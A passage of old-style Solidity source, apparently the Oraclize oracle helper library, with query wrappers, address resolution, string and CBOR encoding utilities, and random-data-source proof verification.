function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){
